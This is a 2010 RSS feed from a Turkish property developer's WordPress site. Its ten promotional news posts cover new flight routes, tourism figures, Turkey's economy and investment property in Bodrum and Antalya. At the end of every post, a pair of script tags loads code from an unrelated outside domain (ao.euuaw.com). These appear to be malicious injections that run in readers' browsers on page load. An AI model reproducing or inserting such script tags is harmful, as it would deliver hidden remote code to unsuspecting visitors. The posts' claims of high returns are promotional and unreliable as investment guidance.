<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Novron</title>
	<atom:link href="http://novron.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://novron.com</link>
	<description>Building for Better Living</description>
	<lastBuildDate>Mon, 12 Jul 2010 08:52:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Flights from Istanbul to Gazipasa Alanya Airport have officially started.</title>
		<link>http://novron.com/news/flights-from-istanbul-to-gazipasa-alanya-airport-have-officially-started/</link>
		<comments>http://novron.com/news/flights-from-istanbul-to-gazipasa-alanya-airport-have-officially-started/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 08:52:25 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[borajet flights]]></category>
		<category><![CDATA[flights to alanya]]></category>
		<category><![CDATA[flights to gazipasa]]></category>
		<category><![CDATA[istanbul to alanya flights]]></category>

		<guid isPermaLink="false">http://novron.com/?p=562</guid>
		<description><![CDATA[On Monday 12th of July, Gazipasa Alanya airport begins its  first domestic commercial flights to and from Istanbul Sabiha Gocken airport with Borajet airline....]]></description>
			<content:encoded><![CDATA[<p>On Monday 12th of July, Gazipasa Alanya airport begins its  first domestic commercial flights to and from Istanbul Sabiha Gocken airport with Borajet airline. </p>
<p>Flights to and from Alanya-Gazipasa Airport and Istanbul Sabiha Gokcen Airport are running Monday to Friday with Borajet Airlines with seats available for sale from 105 Turkish Lira.</p>
<p>According to the Directorate General of Civil Aviation Flight program the approved date of July 12, 2010 is when Borajet will start flying to Gazipaşa.</p>
<p>The planned routes will be from;</p>
<p>Ankara-Gazipaşa-Ankara.</p>
<p>Istabul -Gazipaşa-Istanbul via Sabiha Gökçen </p>
<p>S.Gökçen-Gazipaşa-Nevsehir flights</p>
<p>For more information about flight schedules, bookings and prices visit www.borajet.com.tr. Or sign up for our regular news updates and we&#8217;ll keep you up to date with all the new information about flight schedules. </p>
<p>Novron currently have 2 bedroom apartments for sales from 59,800 Euro&#8217;s in the popular tourist destination of Alanya. Don&#8217;t miss this opportunity to buy a fantastic holiday home at this unbeatable price.<br />
<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/flights-from-istanbul-to-gazipasa-alanya-airport-have-officially-started/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More flight routes to Turkey, Boost Airport Arrivals by 24%.</title>
		<link>http://novron.com/news/more-flight-routes-to-turkey-boost-airport-arrivals-by-24/</link>
		<comments>http://novron.com/news/more-flight-routes-to-turkey-boost-airport-arrivals-by-24/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 08:32:31 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[flights to Turkey]]></category>
		<category><![CDATA[property in Turkey]]></category>
		<category><![CDATA[Turkey's tourism]]></category>

		<guid isPermaLink="false">http://novron.com/?p=559</guid>
		<description><![CDATA[The first half of 2010 have proved what was predicted at the end of 2009 that Turkey&#8217;s tourism was expected to see a bumper year....]]></description>
			<content:encoded><![CDATA[<p>The first half of 2010 have proved what was predicted at the end of 2009 that Turkey&#8217;s tourism was expected to see a bumper year. The latest data from the Turkish Directorate General of State Airports Authority (DHMI) reveals there has been a 24% increase in passenger numbers in the first half of 2010 compared to the same period in 2009.</p>
<p>A total of 44.6 million international and domestic passengers passed through Turkey&#8217;s airports with Istanbul Ataturk, accounting for 33% of air and passenger traffic, due to its status as the European Capital of Culture of 2010.</p>
<p>With an introduction of many new routes and airlines adding more flights to Turkey such as EasyJet, Monarch, Thomas Cook and Jet2.com, getting to Turkey hasnt been easier. </p>
<p>The official data also showed a 19% increase in international flights in the popular holiday home destinations of Antalya, Izmir-Adnan Menderes, Mugla-Dalaman, and Milas-Bodrum airports in the first half of 2010.</p>
<p>A record 32,000 British citizens now own property in Turkey, followed by Germans (according to data released by the Turkish General Directorate of Land Registry). For buyers looking to invest in a property in Turkey, there is no better time than now! Prices are still low compared to most of Europe and the weather is second to none!<br />
<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/more-flight-routes-to-turkey-boost-airport-arrivals-by-24/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yalikavak is the location of choice for property buyers in Bodrum.</title>
		<link>http://novron.com/news/yalikavak-is-the-location-of-choice-for-property-buyers-in-bodrum/</link>
		<comments>http://novron.com/news/yalikavak-is-the-location-of-choice-for-property-buyers-in-bodrum/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 22:30:29 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[property buyers in bodrum]]></category>
		<category><![CDATA[property in Bodrum]]></category>

		<guid isPermaLink="false">http://novron.com/?p=546</guid>
		<description><![CDATA[Turkey is a popular area to purchase a property both for investment purposes and to own a holiday home under the sun. Property in Bodrum...]]></description>
			<content:encoded><![CDATA[<p>Turkey is a popular area to purchase a property both for investment purposes and to own a holiday home under the sun. Property in Bodrum is very popular with buyers, and Yalikavak is fast becoming the area which is attracting  the majority of the buyers.</p>
<p>Yalikavak is on the Bodrum peninsula and is only 18 km(15 minute drive)  away from Bodrum city centre, It is a very popular holiday resort for both Turkish and foreign people.   A very large percentage of holiday makers prefer to purchase their holiday property in this area as it offers a lot for everyone.</p>
<p>Yalikavak has a stunning view from nearly all the houses available in the area. Yalikavak also has very beautiful restaurants and bars. The best fish to try in the area are red mullet and gilt head bream. Yalikavak has a large number of luxurious bars open until morning.<br />
Two popular beaches in Yalikavak are Erdemil and Giciman. Erdemil is popular with wind surfers as well as swimmers. Giciman is a very long beach. Due to its length, you can always find a tranquil space to sunbath and leave your towel and personal belongings.  In 2002, Yalikavak beaches were awarded Blue Flag due to its clear waters.</p>
<p>For those who enjoy trekking and mountain climbing, then you should visit Partipazan, Ezan and Seytan rocks. The walking paths around these areas are full of tangerine and olive trees, sage, thyme and mint.</p>
<p>Yalikavak is also a perfect stop over for Sailing enthusaists with its famous Port Bodrum Yalikavak Marina Plus. Yalikavak marina has mooring capacity of 450 boats. It has a sailing school, mini golf, beach volley, beach club, fitness centre, spa, shopping mall, clinic, shops, duty free shop, helicopter and fuel station. This marina also holds the Second Hand Yacht Fair every year.</p>
<p>The quality of the residential area is higher than majority of the other areas in the Bodrum Peninsula. Novron&#8217;s Ardesco Villas are considered as one if not the best development in Yalikavak. After the sold out success of Azure Villas, Novron&#8217;s new project launched in 2009 has set the standards for modern design in Bodrum. A masterpiece in Architectural design, the glass villas at Ardesco are located on large private land areas with a private swimming pool and two tiered landscaped garden. An opportunity not to miss, contact our sales team at info@novron.com and enquire about our special summer promotion available for a limited time only. <script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/yalikavak-is-the-location-of-choice-for-property-buyers-in-bodrum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A record 32,000 Britons own property in Turkey.</title>
		<link>http://novron.com/news/a-record-32000-britons-own-property-in-turkey/</link>
		<comments>http://novron.com/news/a-record-32000-britons-own-property-in-turkey/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 14:12:17 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[property in Turkey]]></category>

		<guid isPermaLink="false">http://novron.com/?p=549</guid>
		<description><![CDATA[A record 32,000 Britons own property in Turkey, particularly in places like Bodrum and Antalya, which offer beautiful beaches and easy airport access. Low property...]]></description>
			<content:encoded><![CDATA[<p>A record 32,000 Britons own property in Turkey, particularly in places like Bodrum and Antalya, which offer beautiful beaches and easy airport access. Low property prices and a lower cost of living coupled with increased routes from the U.K to Turkey, have all contributed to the dramatic rise in purchases of property in Turkey by British buyers over the past few years. </p>
<p>Overall, the number of foreign property buyers has increased by nearly 30%, from 73,000 in 2008 to 104,000 today with the British market accounting for the largest group of buyers. According to data released by the Turkish General Directorate of Land Registry, over 63 million square metres of property in Turkey is now owned by foreigners. Britons possess the largest amount, at 6 million square metres, followed by the Germans, who own 3.5 million square metres, and the Greeks with 3 million square metres.</p>
<p>Unlike most other economies who experienced the downturn due to the banking crisis, profit in Turkey’s banking industry grew 14 percent in the first five months of 2010 compared to a year ago. Turkey’s is also offering 70% Loan to Value mortgages for foreign buyers. </p>
<p><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/a-record-32000-britons-own-property-in-turkey/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Turkey’s economy is now the fastest growing in Europe</title>
		<link>http://novron.com/news/turkey%e2%80%99s-economy-is-now-the-fastest-growing-in-europe/</link>
		<comments>http://novron.com/news/turkey%e2%80%99s-economy-is-now-the-fastest-growing-in-europe/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 09:00:58 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[tourism in Turkey]]></category>
		<category><![CDATA[turkey economy]]></category>
		<category><![CDATA[Turkish economy]]></category>

		<guid isPermaLink="false">http://novron.com/?p=543</guid>
		<description><![CDATA[Turkey’s economy is now the fastest growing in Europe, according to the Organisation for Economic Co-operation and Development forecasts, with the Turkish government now pursuing...]]></description>
			<content:encoded><![CDATA[<p>Turkey’s economy is now the fastest growing in Europe, according to the Organisation for Economic Co-operation and Development forecasts, with the Turkish government now pursuing an expansive foreign policy. </p>
<p>Alongside Europe, Turkey is now establishing new partnerships with the Middle East for the banking and construction sector and is also linking on energy deals with Brazil, Russia and South Korea.</p>
<p>Last year Turkey managed to attract foreign direct investment worth $7.6 billion. This figure is expected to increase gradually in the coming months.</p>
<p>Turkey is attracting investments from automotive manufacturers as well. Chinese automotive manufacturer Chery will build a plant in the country, in cooperation with Turkey’s Mermerciler Group, while China’s Geely also has joint investment projects with the Anadolu Group. The world’s leading truck and other commercial vehicle manufacturers, including JAC and China Truck, recently had talks with Turkish officials concerning investing in the country.</p>
<p>Japan’s Toshiba Corporation is preparing to expand into the Turkish energy sector by investing in nuclear energy. </p>
<p>Leading Indian hotel chain Oberoi will also enter the Turkish market with a large hotel to be constructed in İstanbul. The company’s operations in Turkey will be extended with more hotels planned in İzmir, Antalya and Ankara, for which sites have been already found. India’s software giant Wipro is also expected to start operations in Turkey by establishing an information technology center in the country. </p>
<p>According to data from ISPAT, the National Bank of Kuwait (NBK) is one of the firms interested in investing in Turkey. As the holder of a 40 percent stake in the Turkish Bank Group, the NBK plans to acquire one more bank in Turkey. The bank is currently considering buying Tekstilbank or Anadolubank. The NBK is Kuwait’s largest bank and is one of the top five banks in the Middle East.</p>
<p>Index of growth of the Turkish real estate exceeded 8% in the first quarter of 2010, which was European record for the market.</p>
<p>As such, Turkey has turned into a bit of an investor hotspot for property buyers. The warm climate and beautiful coastlines are always a major appeal, but as Turkey is still outside of the Eurozone, it still  offers some great property prices, which means that your money goes much further than in some other popular destinations.</p>
<p>Tourism in Turkey has also risen dramatically over the last few years, and it was reportedly the only one of the world’s top ten tourist destinations to record an increase in visitors last year. While 2009 saw the economic downturn force global tourism to contract by 4.3%, Turkey welcomed more than 27 million foreign visitors, an increase of 2.8% compared with 2008. Because it’s outside the eurozone, it has been attracting an increasing number of holidaymakers who are looking for value. This means that demand for quality rental properties in the popular tourist areas should continue to outstrip supply, making rental yields very lucrative. </p>
<p>2010 has started confidently for the Turkish economy and will be seen to be a strong investment hotspot for a long time to come. <script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/turkey%e2%80%99s-economy-is-now-the-fastest-growing-in-europe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tourist Arrivals to Antalya Rise Again for a 3rd Month</title>
		<link>http://novron.com/news/tourist-arrivals-to-antalya-rise-again-for-a-3rd-month/</link>
		<comments>http://novron.com/news/tourist-arrivals-to-antalya-rise-again-for-a-3rd-month/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 10:02:33 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[antalya airport]]></category>
		<category><![CDATA[tourist arrivals to Antalya]]></category>

		<guid isPermaLink="false">http://novron.com/?p=471</guid>
		<description><![CDATA[Turkish Mediterranean resort city Antalya hosted more than 600,000 tourists in the first three months of 2010.  
A total of 606,454 tourists arrived at...]]></description>
			<content:encoded><![CDATA[<p>Turkish Mediterranean resort city Antalya hosted more than 600,000 tourists in the first three months of 2010.  </p>
<p>A total of 606,454 tourists arrived at Antalya Airport in January-February-March, according to new figures from the Antalya Culture &#038; Tourism Provincial Directorate. </p>
<p>This figure shows an increase of 32% against the total of 461,015 tourists who arrived in Antalya in the same period of Jan &#8211; March in 2009.<br />
<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/tourist-arrivals-to-antalya-rise-again-for-a-3rd-month/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Turkeys Land Registry Prepares To Open International Offices For Overseas Buyers of Property In Turkey</title>
		<link>http://novron.com/news/turkeys-land-registry-prepares-to-open-international-offices-for-overseas-buyers-of-property-in-turkey/</link>
		<comments>http://novron.com/news/turkeys-land-registry-prepares-to-open-international-offices-for-overseas-buyers-of-property-in-turkey/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 07:50:51 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[buyers of property in Turkey]]></category>
		<category><![CDATA[buying property in Turkey]]></category>
		<category><![CDATA[property in Turkey]]></category>

		<guid isPermaLink="false">http://novron.com/?p=466</guid>
		<description><![CDATA[Turkey’s Land Registry General Directorate is preparing the way to open new branches of the registry offices in selected European countries pertaining to a bill...]]></description>
			<content:encoded><![CDATA[<p>Turkey’s Land Registry General Directorate is preparing the way to open new branches of the registry offices in selected European countries pertaining to a bill being passed in parliment. </p>
<p>Under the bill, the general directorate will be permitted to open turkish land registry branches in Berlin, Frankfurt and Brussels, which will allow about 5 million Turkish citizens in Europe to complete bureaucratic processes regarding land titles without having to come to Turkey.</p>
<p>The bill also proposes changes which will also allow buyers and sellers to complete the bureaucratic processes online. Initial plans proposed that the general directorate would only open three branches abroad, but the bill will make it possible to open up to 10 offices. </p>
<p>Procedures will be simplified so that Turkish citizens in Turkey and those living abroad will both be able to complete transfer procedures without having to travel to another province or back to Turkey.</p>
<p>It is expected that the new bill will also enable bureaucratic transactions for foreigners who have bought or who are buying property in Turkey.</p>
<p>The new international branches are expected to focus initially on Germany and the UK as these are largest number of foreign buyers of property in Turkey.</p>
<p>In addition, online transactions will ease the completion of land title procedures. With the new bill, it will be possible to complete land sale and transfer transactions online. This may also provide an alternative to the current system a notarized power of attorney paper is required for someone to complete transactions and title deed transfers on behalf of a buyer/seller. <script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/turkeys-land-registry-prepares-to-open-international-offices-for-overseas-buyers-of-property-in-turkey/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Property Investment in Turkey</title>
		<link>http://novron.com/news/property-investment-in-turkey/</link>
		<comments>http://novron.com/news/property-investment-in-turkey/#comments</comments>
		<pubDate>Mon, 29 Mar 2010 12:41:12 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[investment properties in Turkey]]></category>
		<category><![CDATA[propety investment in Turkey]]></category>
		<category><![CDATA[Turkey investment property]]></category>
		<category><![CDATA[Turkish Property Market]]></category>

		<guid isPermaLink="false">http://novron.com/?p=460</guid>
		<description><![CDATA[Interest in Turkey investment property has intensified because the market sector has been averaging 40% returns while the rest of Europe floats around 5% growth,...]]></description>
			<content:encoded><![CDATA[<p>Interest in Turkey investment property has intensified because the market sector has been averaging 40% returns while the rest of Europe floats around 5% growth, according to a representative of Garanti GYO. Companies such as Dubai Holding’s have made their largest international investment into Turkey due to their expectation of large profit margins in Turkey. </p>
<p>There are also many opportunities to buy into investment properties in Turkey for private investors; Along the southern Turkish coastline developers are building some spectacular resorts which are seeing huge demand from both tourists and second home investors. Private investors are looking at investing into property in two ways &#8211; either to rent out to the tourism market; alternatively to buy property in Turkey off plan to resell to the growing base of overseas buyers seeking individual properties in Turkey.</p>
<p>Antalya is currently the most attractive province for investment in Turkey. Antalya is an extremely popular holiday resort in the Mediterranean region with year round flights from most American, Asian and European countries. The volume of visitors has been growing rapidly with 2010 already showing increased tourist numbers. The fabulous climate and low cost of living together with competitive real estate prices have helped keep the Turkish real estate market here buoyant. </p>
<p>Whatever your investment requirements and budget, an Antalya property makes an ideal holiday, residential or retirement home and a very sound property investment in Turkey.<br />
<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/property-investment-in-turkey/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Property in Bodrum, an investors choice.</title>
		<link>http://novron.com/news/property-in-bodrum-an-investors-choice-2/</link>
		<comments>http://novron.com/news/property-in-bodrum-an-investors-choice-2/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 16:32:32 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Bodrum Property]]></category>
		<category><![CDATA[Bodrum property market]]></category>
		<category><![CDATA[property in Bodrum]]></category>

		<guid isPermaLink="false">http://novron.com/news/property-in-bodrum-an-investors-choice-2/</guid>
		<description><![CDATA[The Bodrum Property market in Turkey has seen price increases around 25% to 30% per annum and is expected to show continued growth well into...]]></description>
			<content:encoded><![CDATA[<p>The Bodrum Property market in Turkey has seen price increases around 25% to 30% per annum and is expected to show continued growth well into the future. The major attractions of property in Bodrum are the surrounding rivers, sandy beaches, mountains, crystal clear waters, nightlife and much more.  Bodrum property investors have two opportunities; short term investment and long term investment. Investors can purchase an off plan property in Bodrum at a discounted price and sell after completion to gain up to 20% return on their investment. Alternatively buying to rent in Bodrum can give between a 8% to 10% rental return. </p>
<p>Low cost flights are drawing more and more tourists to the area and additional scheduled flights year round have kept home owners satisfied with constant access to their holiday homes. </p>
<p>Flights from Germany to Bodrum<br />
Air Berlin, Germany’s second largest airline, is continuing to go for growth in its strategically important markets in 2010. Visitors to Turkey can look forward to even more flights in the summer. From May onwards, an Air Berlin jet will take off once a week for Bodrum. The new non-stop flight will complement the existing service from Düsseldorf to the resort on the Turkish Aegean. The flights begin from the 1st May 2010 till the 31st October 2010.</p>
<p>Flights from UK to Bodrum<br />
Additional to frequent flights from Thomas cook, 3 other budget airlines have now announced direct flights to Bodrum from the U.K. &#8211; Pegasus, EasyJet, and Monarch have all announced new flights and increased routes to Turkey in 2010.</p>
<p><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/property-in-bodrum-an-investors-choice-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Turkey will be among the best performing major economies in emerging Europe.</title>
		<link>http://novron.com/news/turkey-will-be-among-the-best-performing-major-economies-in-emerging-europe/</link>
		<comments>http://novron.com/news/turkey-will-be-among-the-best-performing-major-economies-in-emerging-europe/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 08:00:09 +0000</pubDate>
		<dc:creator>marium</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[turkey economy]]></category>

		<guid isPermaLink="false">http://novron.com/?p=432</guid>
		<description><![CDATA[With real GDP growth now forecast to rise up to 3.7% in 2010, Turkey will be among the best performing major economies in emerging Europe....]]></description>
			<content:encoded><![CDATA[<p>With real GDP growth now forecast to rise up to 3.7% in 2010, Turkey will be among the best performing major economies in emerging Europe. </p>
<p>Turkey took the decision to end talks with the International Monetary Fund about a fresh loan agreement after showing that it has been able to respond effectively on its own to the effects of the global financial downturn. An IMF mission is due to visit Ankara in May for regular consultations, where further discussions are expected to be held.</p>
<p>Turkey&#8217;s economic success in weathering the crisis has prompted rating agencies to upgrade its sovereign ratings. The global recovery and Turkey&#8217;s own medium-term economic programme had strengthened its outlook.</p>
<p> <script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://novron.com/news/turkey-will-be-among-the-best-performing-major-economies-in-emerging-europe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk (user agent is rejected)
Database Caching 6/13 queries in 0.057 seconds using disk

Served from: novron.com @ 2010-07-30 16:35:30 -->